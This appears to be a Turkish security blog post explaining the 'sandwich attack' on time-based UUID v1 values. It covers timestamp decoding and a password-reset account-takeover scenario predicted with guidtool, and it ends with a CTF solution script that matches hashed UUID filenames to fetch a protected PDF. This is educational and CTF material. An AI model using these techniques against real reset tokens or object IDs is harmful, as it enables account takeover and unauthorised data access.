Sandwich Saldırısı - UUID v1
UUID
Globally Unique Identifier (GUID) olarakta tanımlanabilir.Zafiyetli versiyonları olduğu gibi zamanla daha güçlü versiyonlarıda ortaya çıkmaktadır.
Rastgele üretilen bu benzersiz değerler saniyeninde ötesinde mikro veya nanosaniye olarak üretimler gerçekleşmektedir.Üst versiyonlarda üretilen değerler
her ne kadar fazlaca üretim gerçekleştirilsede ihtimaller çok çok düşük olsada yinede 0’a yakın değildir.Yani benzer bir değer üretilebilmektedir fakat bunu tespit etmek
bir hayli çok zor bir durumdur.Kopyalanma olasılığı düşüktür fakat asla sıfır derecede değildir.
Örnek bir UUID değeri
f81d4fae-7dec-11d0-a765-00a0c91e6bf6
Exploitation
Sandwich saldırısı genelde UUID 1 Versiyonunda karşımıza çıkmaktadır.Zaman kavramına göre ve MAC cinsinden üretim yapmaktadır.Account Takeover,BOLA veya IDOR gibi
zafiyetlere sebep olmaktadır ve kritik bir öneme sahiptir.Ayrıca aynı zamanda damgası içerisinde üretilen değerler kopyalanabilir ve saldırı vektörü oluşturulabilir.
Linuxta UUID
komutu ile örnek değerler üretebiliriz.
UUID v1 : 6ea0f896-3144-11ef-a367-005056260027
& 6f03f496-3144-11ef-86bc-005056260027
Burada bulunan a367
ve 86bc
değişmiştir fakat bazen bu Version 1 de değişiklik göstermemektedir.Ayrıca değişiklik gösterilse bile 005056260027
MAC bölümü sabit kalmaktadır.
UUID v4 : 60a0cf20-f5a8-4ea2-9469-d4269f0a5bc8
& 62f4a612-6d64-48a2-a271-26217702999e
Burada ise tamamen ayrıldığı görülmektedir.Yani olasılıklar her ne kadar sıfır olmasada sıfıra yakın bir derecede üretmektedir.
%0.000001 derece olsa bile %100 güvenli değildir ve %99.9 güvenlik sağlasada %0.1 bir zafiyet söz konusu olabilir.
UUID v1 ise bu derece oldukça fazla artmaktadır.
Ayrıca UUID Saldırıları için https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248
Burp Suite eklentileri ile bunu keşfedebilirsiniz.
Ayrıca Bkz. https://datatracker.ietf.org/doc/html/rfc4122
10 Adet seri üretim
f2c6e440-3145-11ef-8465-0800200c9a66
f2c6e441-3145-11ef-8465-0800200c9a66
f2c6e442-3145-11ef-8465-0800200c9a66
f2c6e443-3145-11ef-8465-0800200c9a66
f2c6e444-3145-11ef-8465-0800200c9a66
f2c6e445-3145-11ef-8465-0800200c9a66
f2c6e446-3145-11ef-8465-0800200c9a66
f2c6e447-3145-11ef-8465-0800200c9a66
f2c6e448-3145-11ef-8465-0800200c9a66
f2c6e449-3145-11ef-8465-0800200c9a66
Burada görüldüğü üzere zaman tamamen hassas işlenmektedir.
Timestamp: 139384289967400006
Timestamp: 139384289967400007
Değişen kısımlar ise f2c6e447-3145-11ef
tamamen buradan ibarettir ve zaman kavramı burada oluşmaktadır.
MAC address: 08:00:20:0c:9a:66
ise MAC Adresidir yani bu değerler genelde sabit olabilmektedir.
UUID Değerimiz 5c1dba54-ee3e-11ee-a951-0242ac120002
Bizim buradaki zaman değerimiz 1eeee3e5c1dba54
bundan ibarettir.
Timestamp ise ;
printf "%d\n" 0x1eeee3e5c1dba54
139310590095899220
Bunu Nano’dan Decimal olarak bir türe dönüştürmemiz gerekmektedir.
echo "scale=9; 139310590095899220 / 10^8" | bc
1393105900.958992200
13931059009
elde edilir bu bizim TimeStamp değerimizdir ve Epoch Time olarak yuvarlamamız gerekmektedir.
1970-01-01 - 12219292800
baz alınarak bu çıkarımı elde edebiliriz ve 13931059009 - 12219292800
1711766209 sayısını elde ederiz.
1711766209 Timestamp değeri ise bize Saturday, 30 March 2024 02:36:49
tarihini vermektedir.Böylelikte tarihi tamamen elde etmiş oluruz.
Ayrıca GuidReaper aracı ilede UUID Decode işlemi yapabiliriz.
GuidReaper -d "5c1dba54-ee3e-11ee-a951-0242ac120002"
GUID version: 1
Time: 2024-03-30 02:36:49.589922
Timestamp: 139310590095899220
Node: 2485377957890
MAC address: 02:42:ac:12:00:02
Clock sequence: 10577
Burada tersine işlemler gerçekleştirilerek zaman damgasında ‘Time Manipulation’ tekniği ile Exploitation gerçekleştirilebilir.
İstismar Senaryosu
1.Sistemde bir şifre sıfırlama bağlantısı oluşturduğunu ve bunu UUID kullanarak yapıldığını varsayalım.
2.Bir adet hesap oluşturalım uuid@attack.com
hesabımız bir kenarda dursun ve victim@attack.com
hesabına saldırı düzenleyelim.
3.İki hesaptada aynı zamanda şifre yenileme bağlantısı ileteceğiz.Senkronize bir şekilde aynı zamanda bağlantıyı gönderelim.
victim@attack.com Adresine Giden Sıfırlama Bağlantısı ;
https://server/reset_password?reset=dc464b70-314a-11ef-8465-0800200c9a66&user=victim@attack.com
Extract Time : Time: 2024-06-23 10:25:06.471000
\
uuid@attack.com Adresine Giden Sıfırlama Bağlantısı ;
https://server/reset_password?reset=de7a4270-314a-11ef-8465-0800200c9a66&user=uuid@attack.com
Extract Time : Time: 2024-06-23 10:25:10.167000
Aralarında sadece 4 Saniyelik bir oynama saptanmıştır ve bu oran otomatikleştirildiğinde Concurrency Flaws
kullanılarak saldırı gerçekleştirildiğinde
oldukça yüksek bir risk oluşturulacaktır.
GuidTool ilede UUID değerleri üretmek mümkündür.
guidtool.py 667b8570-0d84-11ef-9ed0-0800200c9a66 -t "1923-10-29 20:30:00" -p 1
komutu ile belirlenen bir zamana yönelik fazlaca üretim gerçekleşmektedir.
Burada çok fazla olasılık bulunmaktadır ve sayı bir hayli fazladır.
Böylelikle Broken Object Level Authorization , Insecure Direct Object References veya Account Takeover gibi zafiyetlere yol açabilmektedir.
Yayınladığım araç ilede Exploitation işlemi gerçekleştirilebilir.
github.com/cagrieser/Uuid-Exploitation
CTF Sorusunun Çözümü
IguCtf Etkinkiğinde hazırladığımız araçta ise erişim yetkisi bulunulmayan dosyaya erişim elde edilmesine yönelik bir senaryo yer almaktadır.
Buradan yola çıkarak UUIDv1 Sandwich Exploitation ile flag elde edilebilir.
Ayrıca Dosya Adı Hash değeri verilerek herhangi bir kendi makinamızda işlemi daha seri bir şekilde hem sunucuyu yormadan hemde daha hızlı bir şekilde ulaşabiliriz.
Buradaki amaç sadece dosyaya erişim sağlamaktır.
Aşağıda bulunan Python scripti ile ise verilen değerler üzerinden eşleştirme yapılarak hedef dosyaya erişim sağlanabilir ve Metadata verilerine erişim sağlanarak değer elde edilebilir.
import hashlib
from colorama import init, Fore
import PyPDF2
import requests
import io
init(autoreset=True)
target_hash = 'def3c4c32117683fcffad14e3b2a9b5d'
def md5_hash(text):
return hashlib.md5(text.encode()).hexdigest()
def get_pdf_metadata_from_url(pdf_url):
response = requests.get(pdf_url)
if response.status_code == 200:
pdf_content = response.content
pdf_file = PyPDF2.PdfFileReader(io.BytesIO(pdf_content))
metadata = pdf_file.getDocumentInfo()
return metadata
else:
print(f"Failed to download PDF from {pdf_url}. Status code: {response.status_code}")
return None
with open('FullAttackUUID.txt', 'r') as file:
lines = file.readlines()
for line in lines:
pdf_filename = line.strip() + '.pdf'
hashed_value = md5_hash(pdf_filename)
# Compare with the target hash
if hashed_value == target_hash:
print(Fore.GREEN + f"Match found: {pdf_filename}")
pdf_url = 'https://demindensimdiyegeldim.igusiber.com.tr/{}'.format(pdf_filename)
metadata = get_pdf_metadata_from_url(pdf_url)
if metadata:
print("PDF Metadata:")
for key, value in metadata.items():
print(f"{key}: {value}")
else:
print("Failed to fetch PDF metadata.")
break
else:
print(f"No match: {pdf_filename} -> {hashed_value}")
Final